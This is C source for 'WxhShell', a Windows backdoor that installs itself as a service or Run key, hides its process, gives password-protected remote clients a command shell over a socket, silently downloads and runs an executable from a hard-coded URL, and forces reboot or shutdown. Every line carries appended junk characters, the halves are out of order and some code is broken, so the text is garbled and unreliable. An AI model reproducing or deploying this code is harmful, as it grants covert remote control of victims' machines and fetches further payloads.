    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); <Cu?$  
    if(Boot(SHUTDOWN)) k<zGrq=8J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ks2%F&\cE  
    else { %C0O?q  
    closesocket(wsh); pm@Z[g  
    ExitThread(0); x*8f3^ wE  
    } E(kpK5h{  
    break; SoU'r]k1x  
    } Pl& `&N;  
  // 获取shell =v$s+`cP  
  case 's': { zy6(S_j  
    CmdShell(wsh); a<jE 25t  
    closesocket(wsh); |#:dC #  
    ExitThread(0); ZHECcPhz  
    break; y6jmn1K  
  } gzCMJ<3!D  
  // 退出 I S8nvx\  
  case 'x': { u;ooDIq@  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^.kAZSgO  
    CloseIt(wsh); ZQ-`l:G  
    break; qbq<O %g=  
    } 9^#gVTGXv  
  // 离开 0gD59N'C  
  case 'q': { K6*UFO4}i  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); vq:OH H  
    closesocket(wsh); i2a"J&,6O  
    WSACleanup(); L_1_y, 0N  
    exit(1); 1 lCikS^c  
    break; Jo aDX ,  
        } |\n)<r_  
  } #IhLpO  
  } qL5#.bR  
;AGs1j  
  // 提示信息 3k*:B~1  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :CST!+)o  
} C1B3VG  
  } qvU$9cTY  
G<-9U}~76  
  return; yX.5Y|A<  
} d3=6MX[c  
UoMWn"ZE  
// shell模块句柄 W;oU +z^t$  
int CmdShell(SOCKET sock) n vpPmc  
{ JRjMt-7H_  
STARTUPINFO si; C:GHP$/}  
ZeroMemory(&si,sizeof(si)); wQ=yY$VP  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;  ]RX tC*  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,C,e/>+My  
PROCESS_INFORMATION ProcessInfo; '=,rb  
char cmdline[]="cmd"; kH8$nkeev  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "K+N f  
  return 0; h3]@M$Y[  
} Q@W|GOH3  
%f_OP$;fc  
// 自身启动模式 UG"6RW @  
int StartFromService(void) "ex~ LB  
{ :7Z\3_D/  
typedef struct opcR~tg@r  
{ D PS1GO*  
  DWORD ExitStatus; J={OOj  
  DWORD PebBaseAddress; H")N_BB  
  DWORD AffinityMask; /=YqjZTCq  
  DWORD BasePriority; B#k3"vk#  
  ULONG UniqueProcessId; g\\1C2jG  
  ULONG InheritedFromUniqueProcessId; ' MS!ss=r  
}   PROCESS_BASIC_INFORMATION; y }&4HrT&  
<% 7P  
PROCNTQSIP NtQueryInformationProcess; }y-;>i#m=g  
^0x.'G?  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; bg1"v a#2  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; F;Q_*0mIQ  
MX`Wg  
  HANDLE             hProcess; `mKlv~$1^  
  PROCESS_BASIC_INFORMATION pbi; > 0Twr  
BsK|:MM]  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); k99gjL`  
  if(NULL == hInst ) return 0; 9!xD~(Kr  
f05"3L:  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); tFvgvx\:  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }} ``~  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); PJK]t7vp  
fY%M=,t3c  
  if (!NtQueryInformationProcess) return 0; Z.aLk4QO@  
Q k;Kn  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); *qO]v9 j  
  if(!hProcess) return 0; i{|lsd(+  
B3cf] S%  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; R?bn,T>  
GcZM+c  
  CloseHandle(hProcess); l~fh_IV1  
xgtJl}L  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); B%eDBu ")  
if(hProcess==NULL) return 0; T\2) $  
;zZ,3pl-E  
HMODULE hMod; B-\,2rCCZ  
char procName[255]; OK M\"A4  
unsigned long cbNeeded; z)&naw.  
4/HY[FT  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); D%;wVnU w  
% UW=:  
  CloseHandle(hProcess); @~$F;M=.*  
c_ qcb7<~.  
if(strstr(procName,"services")) return 1; // 以服务启动 - - i&"  
\'; t*  
  return 0; // 注册表启动 |{7e#ww]  
} cyGN3t9`.  
Tsm1C#6 Y*  
// 主模块 JNxW6 cK  
int StartWxhshell(LPSTR lpCmdLine) g,n-s+  
{ ^ea RgNz  
  SOCKET wsl; 5:*5j@/S  
BOOL val=TRUE; :cXIO  
  int port=0; Avs7(-L+s  
  struct sockaddr_in door; [}A_uOGEP  
P1)* q0  
  if(wscfg.ws_autoins) Install(); x1m8~F  
u}-d7-=  
port=atoi(lpCmdLine); FylWbQU9  
hF7V !*5  
if(port<=0) port=wscfg.ws_port; G}=`VYK  
CdBthOPX)  
  WSADATA data; Wj&<"Z6'm(  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; k_*XJ<S!Y  
VO. -.  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Ynv9&P  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); lFiq<3Nk  
  door.sin_family = AF_INET;  /,1SE(  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); hi;WFyJTu  
  door.sin_port = htons(port); <CNE>@-f  
4NpHX+=P  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { T>\nWancQM  
closesocket(wsl); %PQldPL8  
return 1; u;+%Qh  
} ?G4iOiyt  
c&Gz> L  
  if(listen(wsl,2) == INVALID_SOCKET) { kF(Ce{;z  
closesocket(wsl); K,x$c %  
return 1; tr}KPdE  
} K[Y c<Q  
  Wxhshell(wsl); z3^RUoGU  
  WSACleanup(); 7XUhJN3n  
VFilF<jvu  
return 0; PU^[HC*K  
W:VW_3  
} *C4~}4WT\  
q?;N7P  
// 以NT服务方式启动 I6K7!+;2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ,pDp>-vI%  
{ gf:vb*#Wa  
DWORD   status = 0; ?gd'M_-J,  
  DWORD   specificError = 0xfffffff; z6p#fsD  
-]Q3/"Q  
  serviceStatus.dwServiceType     = SERVICE_WIN32; %$/=4f.j  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; D-Bv(/Pz]$  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 51&|t#8h  
  serviceStatus.dwWin32ExitCode     = 0; vn|TiZ  
  serviceStatus.dwServiceSpecificExitCode = 0; ,(j>)g2Ob  
  serviceStatus.dwCheckPoint       = 0; 3xBN10R#  
  serviceStatus.dwWaitHint       = 0; 5c<b|  
MS{Hz,I,  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); m3U+ du  
  if (hServiceStatusHandle==0) return; ^D9 /  
i'M^ez)u  
status = GetLastError(); !?BW_vY  
  if (status!=NO_ERROR) rU; g0'4e  
{ .>k=A|3G  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; AU0$A403  
    serviceStatus.dwCheckPoint       = 0; ow-+>Y[qZ  
    serviceStatus.dwWaitHint       = 0; Ezi' 2Sc  
    serviceStatus.dwWin32ExitCode     = status; "I5uDFZR&  
    serviceStatus.dwServiceSpecificExitCode = specificError; |*%/ovg+  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); jZa25Z00  
    return; >oe4mW  
  } B1y<.1k  
6eD(dZ  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; TRSOO}  
  serviceStatus.dwCheckPoint       = 0; h^['rmd  
  serviceStatus.dwWaitHint       = 0; 9Tqn zD  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); W=~id"XtJ  
} "w;08TX8  
M_tj7Q3 W  
// 处理NT服务事件,比如:启动、停止 vAi"$e  
VOID WINAPI NTServiceHandler(DWORD fdwControl) NV:>a  
{ Mx^y>\X)v  
switch(fdwControl) kX igX-  
{ b+W)2rFO  
case SERVICE_CONTROL_STOP: ah 4kA LO  
  serviceStatus.dwWin32ExitCode = 0; *]FgfttES  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 'n>K^rA  
  serviceStatus.dwCheckPoint   = 0; $X`bm*  
  serviceStatus.dwWaitHint     = 0; Mg#`t$ u  
  { U%Dit  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {*sGhGwr  
  } 0xN!DvCg>.  
  return; (2: N;  
case SERVICE_CONTROL_PAUSE: : @s8?eg  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; +:}kZDl@ X  
  break; T:c7@^=  
case SERVICE_CONTROL_CONTINUE: ex.+'m<g  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; &8Zeq3~  
  break; T0g0jr{  
case SERVICE_CONTROL_INTERROGATE: 1JIG+ZNmd  
  break; VxNXd?  
}; uH $oGY  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]GcV0&|  
} kl| g  
3 *G5F}7%=  
// 标准应用程序主函数 {!lNL[x  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) P_Z M'[  
{ P2O\!'aEh  
uG4$2  
// 获取操作系统版本 O97VdNT8  
OsIsNt=GetOsVer(); x,w8r+~5  
GetModuleFileName(NULL,ExeFile,MAX_PATH); yXkt:O,i  
_0w1 kqW  
  // 从命令行安装 `q^(SM  
  if(strpbrk(lpCmdLine,"iI")) Install(); %yeu"  
{ AFf:[G  
  // 下载执行文件 'CgV0&@  
if(wscfg.ws_downexe) { >xZ5 ac I  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) d60c$?"]a(  
  WinExec(wscfg.ws_filenam,SW_HIDE); Qr<AV:  
} ^,Lt Ewd~Y  
I<sfN'FpT  
if(!OsIsNt) { TFo}\B7  
// 如果时win9x,隐藏进程并且设置为注册表启动 )GK+  
HideProc(); !-7_ +v>  
StartWxhshell(lpCmdLine); g#w`J \iz  
} s} s|~  
else k<!<<,Z  
  if(StartFromService()) (9E( Q*J5x  
  // 以服务方式启动 / HL_$g<  
  StartServiceCtrlDispatcher(DispatchTable); nMkOUW:T!  
else { yTpRQN~  
  // 普通方式启动 ]{<saAmJC  
  StartWxhshell(lpCmdLine); [8.-(-/;  
I4ebkPgf  
return 0; 36nyu_h:R  
} ,'=hjIel  
7q!?1 -?8R  
I,]J=xi  
0Yp>+:#  
=========================================== KyjyjfIwH  
a%v>eXc  
>[EBpYi  
>G&^?5  
;ed#+$Na  
w;~>k%}j  
" r|<6Aae&  
r5[4h'f  
#include <stdio.h> 6s5yyy=L%~  
#include <string.h> +^Fp&K+^  
#include <windows.h> X PA 0m  
#include <winsock2.h> Q<1L`_.>  
#include <winsvc.h> bf1)M>g,O  
#include <urlmon.h> 7 I@";d8~  
qIz}$%!A  
#pragma comment (lib, "Ws2_32.lib") *Z >  
#pragma comment (lib, "urlmon.lib") 9j0o&Xn  
EsTB(9c?  
#define MAX_USER   100 // 最大客户端连接数 mzz$`M 1  
#define BUF_SOCK   200 // sock buffer f9a$$nb3`  
#define KEY_BUFF   255 // 输入 buffer RtwUb(wn6  
|U EC  
#define REBOOT     0   // 重启 "-P/jk  
#define SHUTDOWN   1   // 关机 f}2;N  
Je 31".  
#define DEF_PORT   5000 // 监听端口 lY8`5Uz  
g>yry}>04%  
#define REG_LEN     16   // 注册表键长度 /9Z!p  
#define SVC_LEN     80   // NT服务名长度 M1EOnq4-  
#~S>K3(  
// 从dll定义API 6Kp}_^|z  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); @`S.@^%7fO  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); w:Ra7ExP  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); iy}xICt  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Q(e{~ ]*  
O5M2`6|As  
// wxhshell配置信息 D#ZPq,f  
struct WSCFG { J+|/-{g  
  int ws_port;         // 监听端口 -x{&an=  
  char ws_passstr[REG_LEN]; // 口令 6A?8tm/0  
  int ws_autoins;       // 安装标记, 1=yes 0=no F\-Si!~oOz  
  char ws_regname[REG_LEN]; // 注册表键名 lov%V*tL  
  char ws_svcname[REG_LEN]; // 服务名 x9&p!&*&IT  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 >azEed<B  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 6} #"qqnx  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 8ljuc5,J  
int ws_downexe;       // 下载执行标记, 1=yes 0=no uFo/s&6K  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" #|?8~c;RWG  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 (0R2T"/  
+(&|uq^  
}; XhN{S]Wn  
</=3g>9Z  
// default Wxhshell configuration 5{X*a  
struct WSCFG wscfg={DEF_PORT, IJ_ m  
    "xuhuanlingzhe", Bzw19S6y  
    1, {[P!$ /  
    "Wxhshell", M*(H)i;s:w  
    "Wxhshell", \7 Gz\=\LR  
            "WxhShell Service", 1O0X-C,wo$  
    "Wrsky Windows CmdShell Service", 8#l+{`$z  
    "Please Input Your Password: ", /?P!.!W&  
  1, K{2h9 ]VF  
  "http://www.wrsky.com/wxhshell.exe", 0m A(:"  
  "Wxhshell.exe" , D"]y~~I5  
    }; (:n|v%  
(v^Z BM_  
// 消息定义模块 "mA1H]r3  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; +>}o;`hPe  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Cfv]VQQE  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; p/&HUQQk  
char *msg_ws_ext="\n\rExit."; P0 b4Hq3  
char *msg_ws_end="\n\rQuit."; ({ k7#1 h8  
char *msg_ws_boot="\n\rReboot..."; jkt 6/H  
char *msg_ws_poff="\n\rShutdown..."; (A4&k{C_  
char *msg_ws_down="\n\rSave to "; e2wvc/gG6  
F&az":  
char *msg_ws_err="\n\rErr!"; H %z/v|e6  
char *msg_ws_ok="\n\rOK!"; PJK9704 6  
*HeVACxo  
char ExeFile[MAX_PATH]; S3y246|4  
int nUser = 0; ]2$x| #Gg}  
HANDLE handles[MAX_USER]; O|e}   
int OsIsNt; x*q35K^PE  
V:Mk)8Gf|  
SERVICE_STATUS       serviceStatus; `tVy_/3(9  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; UP8{5fx'  
U=QA  e  
// 函数声明 w & P&7  
int Install(void); ]\dHU.i  
int Uninstall(void); t^U^Tr  
int DownloadFile(char *sURL, SOCKET wsh); SiTeB)/  
int Boot(int flag); M1{(OY(G  
void HideProc(void); s[X B#)H4  
int GetOsVer(void); x.UaQ |F  
int Wxhshell(SOCKET wsl); #xp(B5  
void TalkWithClient(void *cs); oKa>.e7.  
int CmdShell(SOCKET sock); }#/l N  
int StartFromService(void); hKN6y%  
int StartWxhshell(LPSTR lpCmdLine); z_n \5.  
D/:3R ZF  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); VB"(9O]  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 5v|EAjB6o  
JC2*$qu J  
// 数据结构和表定义 B;W(iI  
SERVICE_TABLE_ENTRY DispatchTable[] = X8R1a?  
{ pkk4h2Ah  
{wscfg.ws_svcname, NTServiceMain}, "dtlME{Bx  
{NULL, NULL} fRNP#pi0u  
}; o;J;k_[MX  
y-a|Lu*  
// 自我安装 E1(1E?}!  
int Install(void) ^P$7A]!  
{ FYl3c   
  char svExeFile[MAX_PATH]; $[z<oN_Q  
  HKEY key; ?cK]C2Ak  
  strcpy(svExeFile,ExeFile); $5A^'q  
,g|2NjUAc  
// 如果是win9x系统,修改注册表设为自启动 i}lRIXjdV  
if(!OsIsNt) { >];"N{ A  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { S>t>6&A  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); OZOb1D  
  RegCloseKey(key); [r9d<Zi}{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { nzuF]vo  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); xS+rHC  
  RegCloseKey(key); G~!C =l  
  return 0; (B}+h   
    } 9g]M4*?C9P  
  } fp;a5||5  
} lT,+bU  
else { >r}Vf9 5[N  
]sL45k2W  
// 如果是NT以上系统,安装为系统服务 dG0VBE  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); KB[QZ`"%!  
if (schSCManager!=0) e U;jP]FA  
{ XwPx9+b6j  
  SC_HANDLE schService = CreateService c-*2dV[@  
  ( '5rU e\k  
  schSCManager, 9o_- =>(  
  wscfg.ws_svcname, yL&/m~{s  
  wscfg.ws_svcdisp, ] .5O X84  
  SERVICE_ALL_ACCESS, %?=)!;[  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , hQ';{5IKvC  
  SERVICE_AUTO_START, $E.XOpl&I  
  SERVICE_ERROR_NORMAL,  SFpQ#  
  svExeFile, ~:Mm<*lL%  
  NULL, {ERjeuDm]  
  NULL, ],&\%jd<  
  NULL, ])N%^Qe$U  
  NULL, % wL,v.}  
  NULL . #U}q 7X  
  ); 0p3vE,pF  
  if (schService!=0) '{VM> Q  
  { ea~i-7  
  CloseServiceHandle(schService); XA3s],Rk  
  CloseServiceHandle(schSCManager); [hnK/4!  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); r\xXU~$9v  
  strcat(svExeFile,wscfg.ws_svcname); KY+]RxX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { y x;h  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); X4Xf2aXI  
  RegCloseKey(key); j-32S!  
  return 0; 6?o>{e7n^  
    } 6mHhC?  
  } a D|Yo  
  CloseServiceHandle(schSCManager); HcO5?{2  
} aYVDp{_  
} eqhAus?)  
o](.368+4  
return 1; Euu ,mleM  
} `%y5\!X  
SRf5W'4y  
// 自我卸载 H\+-cvl  
int Uninstall(void) c[5@ \j\  
{ -3vh!JMN  
  HKEY key; q"nGy#UWR  
zs8I  
if(!OsIsNt) { v<&v]!nF  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { sykFSPy`'  
  RegDeleteValue(key,wscfg.ws_regname); @vAFfYU9<.  
  RegCloseKey(key); bn-=fb(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { sTOFw;v%  
  RegDeleteValue(key,wscfg.ws_regname); hdj%|~Fj  
  RegCloseKey(key); MaErx\  
  return 0; M/B/b<['  
  } 5i9Ub |!P  
} w-FHhf  
} ]^ 'ZiyJX  
else { Q52 bh'cuU  
kzi|$Gs<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); zlkWU  
if (schSCManager!=0) u[EK#%  
{ O`(U/?   
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); rzT{-DZB[4  
  if (schService!=0) kM`7EPk  
  { CQ18%w6  
  if(DeleteService(schService)!=0) { Ja [#[BJ?  
  CloseServiceHandle(schService); *"T+G*~  
  CloseServiceHandle(schSCManager); {US>)I  
  return 0; !*bdG(pK  
  } oHsP?%U  
  CloseServiceHandle(schService); OjATSmZ@@  
  } o?\Gm  
  CloseServiceHandle(schSCManager); :mp$\=  
} 4Py3I9  
} la`"$f  
Hirr=a3  
return 1; wY`#$)O0*  
} V16%Ne  
61,O%lV  
// 从指定url下载文件 "dq>) JF\  
int DownloadFile(char *sURL, SOCKET wsh) ]_ #SAhOR)  
{ AT ymKJ  
  HRESULT hr; iNLDl~uU  
char seps[]= "/"; pVz*ZQ[]  
char *token; PWG;&ma  
char *file; 7LdzZS0OM  
char myURL[MAX_PATH]; H:MUNc8i  
char myFILE[MAX_PATH]; yHOqzq56  
-TZ^~s  
strcpy(myURL,sURL); "XB4yExy  
  token=strtok(myURL,seps); PUKVn+h  
  while(token!=NULL) A:)sg!Lt  
  { ]bu9-X&T&  
    file=token; JMePI%#8  
  token=strtok(NULL,seps); z Lw(@&  
  } 8!4[#y<  
u\3ZIb  
GetCurrentDirectory(MAX_PATH,myFILE); pN+I]NgQ  
strcat(myFILE, "\\"); _yJ|`g]U3  
strcat(myFILE, file); Ql8^]gbp+  
  send(wsh,myFILE,strlen(myFILE),0); %omu  
send(wsh,"...",3,0); l7~Pa0qD  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); }5hZo%w[n  
  if(hr==S_OK) 6 >uQt:e  
return 0; 453 }S  
else GGM5m|4  
return 1; X+*<B(E  
%ET # z!  
} ?RJdn]`4j  
07Y_^d  
// 系统电源模块 X TM$a9)  
int Boot(int flag) s9 &)Fv-#V  
{ y9ip[Xn-$:  
  HANDLE hToken; =h7[E./U1  
  TOKEN_PRIVILEGES tkp; |?yE^$a  
xD^wTtT  
  if(OsIsNt) { )@,N7Y1h  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); L6x B`E9  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); AoU_;B\b%  
    tkp.PrivilegeCount = 1; q#m!/wod  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; :mn(0 R~  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); pJocI_v9  
if(flag==REBOOT) { ->3uOF!q  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) F {/>u(@3  
  return 0; !G[f[u4Zg  
} *?p ^6vO  
else { Cy6%S).c  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) wBE7Bv45  
  return 0; ^vG=|X|)c  
} X&.:H~xS+  
  } Nuo^+z E   
  else { WV@X@]U  
if(flag==REBOOT) { Qxky^:B  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) e`;t<7*i  
  return 0; hd8B0eD'  
} y,V6h*x2  
else { 9u?Eb~#$  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 3?  };  
  return 0; ETxp# PZ  
} re/xs~  
} /Bh>  
HS(U4   
return 1; F:S"gRKz  
} ^?nP$+gq  
!*5_pGe  
// win9x进程隐藏模块 %6N)G!P  
void HideProc(void) S7Znz@  
{ blUY.{NN3  
l\_x(BH  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); {hM"TO7\  
  if ( hKernel != NULL ) ;*nh=w  
  { "% SX@  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");  w"BIv9N  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); t@6w$5:}  
    FreeLibrary(hKernel); *.:!Ax  
  } 1y 1_6TZ+  
p1klLX  
return; ^]i" H|(x  
} ?P%|P   
%n4@[fG%K  
// 获取操作系统版本 +;YE)~R?  
int GetOsVer(void) vUqe.?5  
{ 4Q@\h=r  
  OSVERSIONINFO winfo; b'&LBT7  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); nT#37v  
  GetVersionEx(&winfo); &yB%QX{3  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) =,O /,2)  
  return 1; (X*'y*:  
  else }M^_Z#|,  
  return 0; xUQdVrFU  
} '^e0Ud,  
hI*`>9l  
// 客户端句柄模块 |y klT  
int Wxhshell(SOCKET wsl) 'y< t/qo  
{ 1>hb-OMX  
  SOCKET wsh; hH#lTye  
  struct sockaddr_in client; pa> p%  
  DWORD myID; axOi 5  
$y8mK|3.3u  
  while(nUser<MAX_USER) &ycjSBK  
{ 0T(O'v}.  
  int nSize=sizeof(client); E1#H{)G  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); K4_~ruhr  
  if(wsh==INVALID_SOCKET) return 1; N`f!D>b:dn  
Rq"VB.ef&{  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); dJloH)uJZ>  
if(handles[nUser]==0) 0 4P.p6  
  closesocket(wsh);  c^rC8E  
else *U :VM'a  
  nUser++; GahaZ F  
  } oN_S}o  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); #,t2*tM  
P`7ojXy  
  return 0; uijq@yo8-  
} /g13X,.H  
n'q aR<bY  
// 关闭 socket $I\))*a  
void CloseIt(SOCKET wsh) d:A\<F  
{ +d.u##$  
closesocket(wsh); _L8Mpx*E  
nUser--; C(f$!~M4b  
ExitThread(0); _c[|@D  
} 3xRM 1GgO  
n/xXQ7y  
// 客户端请求句柄 |!{ z? i  
void TalkWithClient(void *cs) KrJ5"1=  
{ #c6ui0E%;t  
~azF+}x90N  
  SOCKET wsh=(SOCKET)cs; 43+EX.c  
  char pwd[SVC_LEN]; f#*h^91x  
  char cmd[KEY_BUFF]; f;e_04K  
char chr[1]; :x8Jy4L  
int i,j; 0Ulxp  
5P-K *C&  
  while (nUser < MAX_USER) { $Vo/CZW7  
8FAT(f//.  
if(wscfg.ws_passstr) { ^!q 08`0  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); eVJ= .?r  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); NKRaQ r  
  //ZeroMemory(pwd,KEY_BUFF); c'"#q)  
      i=0; ,jAx%]@,I  
  while(i<SVC_LEN) { s4x'f$r  
p^T&jE8])#  
  // 设置超时 eLCdAr  
  fd_set FdRead; ll^Th >  
  struct timeval TimeOut; =AWX +znP  
  FD_ZERO(&FdRead); H0: iYHu  
  FD_SET(wsh,&FdRead); np<f,  
  TimeOut.tv_sec=8; es. jh  
  TimeOut.tv_usec=0; E~'q?LJOB  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 1, m\Q_  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); kJHr&=VO~  
U* -% M  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  ` 2Wl  
  pwd=chr[0]; }9{dR4hD  
  if(chr[0]==0xd || chr[0]==0xa) { hfJrQhmE  
  pwd=0; b\kN_  
  break; h=uiC&B  
  } _cW_u?0X:  
  i++; :&xz5c`"04  
    } <FCj)CP%  
suA+8}o]  
  // 如果是非法用户,关闭 socket :({-0&&_  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); }rO?5  
} yTzY?  
*rS9eej  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 6Hc H'nmeN  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); H+S~ bzz  
l[tY,Y:4qO  
while(1) { Dm7Y#)%8  
5LDQ^n  
  ZeroMemory(cmd,KEY_BUFF); it(LphB8  
A ~qW.  
      // 自动支持客户端 telnet标准   qFvg}}^y  
  j=0; ~5lKL5w  
  while(j<KEY_BUFF) { aQ.Iq  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +P>Gy`D9  
  cmd[j]=chr[0]; uPa/,"p  
  if(chr[0]==0xa || chr[0]==0xd) { F?*Dr  
  cmd[j]=0;  !7 ei1  
  break; ( rA\_FOJ  
  } ^L>MZA ?  
  j++; #Tr;JAzVjG  
    } ygmv_YLjm  
k! J4Z ${k  
  // 下载文件 eXj\DjttG}  
  if(strstr(cmd,"http://")) { \(.nPW]9  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); CQ@#::'F1  
  if(DownloadFile(cmd,wsh)) 4^ d+l.F  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); <_##YSGh,  
  else }"F ?H:\  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4yA9Ni  
  } jF%)Bhn(  
  else { +=|hMQ;  
71oFm1m{  
